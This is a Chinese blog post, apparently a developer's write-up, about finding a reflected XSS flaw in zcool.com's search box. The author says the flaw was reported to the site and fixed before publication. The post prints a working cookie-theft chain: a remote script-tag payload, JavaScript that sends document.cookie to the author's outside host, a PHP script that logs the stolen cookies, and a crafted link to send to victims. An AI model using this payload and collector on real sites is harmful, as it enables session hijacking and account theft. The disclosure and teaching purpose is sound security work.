轻松拿到登录用户的cookie

28 篇文章 0 订阅
这段时间周围出现了好几单安全相关的问题,基本都是XSS 漏洞导致的。于是内心一直惦记着,包括上个周末在逛站酷的时候,然后突发奇想: 站酷上是否也存在XSS漏洞呢?
 
 
找到XSS漏洞
 
本着学习交流的目的,用颤巍巍的手指在站酷的作品搜索拦里输下了如下代码
<script>alert(1)</script>

 

然后按下了回车(http://www.zcool.com,chrome浏览器下访问) 

\
 
 
内心一阵失落,并没有预期中那样弹出个框来,叹了口气。但是,毕竟是个不轻言放弃的人,于是想了:chrome浏览器的安全机制是比较强大的,莫非是浏览器做了什么事情?
 
于是F12打开控制台,果然~~好吧,输给chrome了。
\
 
 
既然如此,其他浏览器呢?一向挺喜欢freifox浏览器的,前端工作人员嘛,于是firefox毫不犹豫成了第二个试验的对象。然后~~然后~~ congratulations!!
 
好大一个弹窗!
\
 
 
进一步利用XSS漏洞
 
虽然内容有一些鸡冻,但仅仅找到一个XSS漏洞显然无法满足一个充满求知欲望的前端攻城狮,于是继续想:是不是可以利用它来做更多事情呢?
 
首先分析了下站酷的页面表现神马的,发现它是 将用户输入脚本直接输出到页面,那就好办了,果断输入如下内容:
 
<script src="http://saintcoder.duapp.com/joke/joke.js"></script>
 
于是站酷华丽丽地就加载了一段joke.js(只是恶作剧性质的脚本),joke.js里面的代码也很简单,创建一个img标签,将它的src属性指向我预先写好的一个脚本joke.php,这里关键的一点是: 将页面的cookie最为参数附加到url后面


?
1
2
3
4
var img = document.createElement( 'img' );
img.width = 0;
img.height = 0;
img.src = 'http://saintcoder.duapp.com/joke/joke.php?joke=' +encodeURIComponent(document.cookie);
然后呢,joke.php里也是相当简单,解析请求里面的joke参数(即用户的cookie),然后。。。然后偷偷保留起来别有他用~~
 
?
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
     @ini_set( 'display_errors' ,1);
     $str = $_GET[ 'joke' ];
     $filePath = "joke.php" ;
 
     if (is_writable($filePath)== false ){
          echo "can't write" ;
     } else {
           $handler = fopen(filePath, "a" );
           fwrite($handler, $str);
           fclose($handler);
     }
?>

 


很好,顿时觉得站酷很危险,只要我把下面这段链接发给其他站酷用户
 
http://www.zcool.com.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp.com/joke/joke.js%22%3E%3C/script%3E

毫无压力所有cookie到手,如果当时用户登录中效果更佳 :)
 
 
漏洞提交
 
找到漏洞很鸡冻,但毕竟站酷是我挺喜欢的一个网站,也不希望它被人黑了。于是果断给站酷管理员,并收到回复。god bless 站酷~
 
\
 
结束语
截至目前,该XSS漏洞已被修复,所以就把这篇文章贴出来分享下,避免过早公布导致站酷被人攻击就不好了~~
 
网络很不安全,开发兄弟们要加强安全防范意识啊~~~

新浪微博:http://weibo.com/chyingp
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值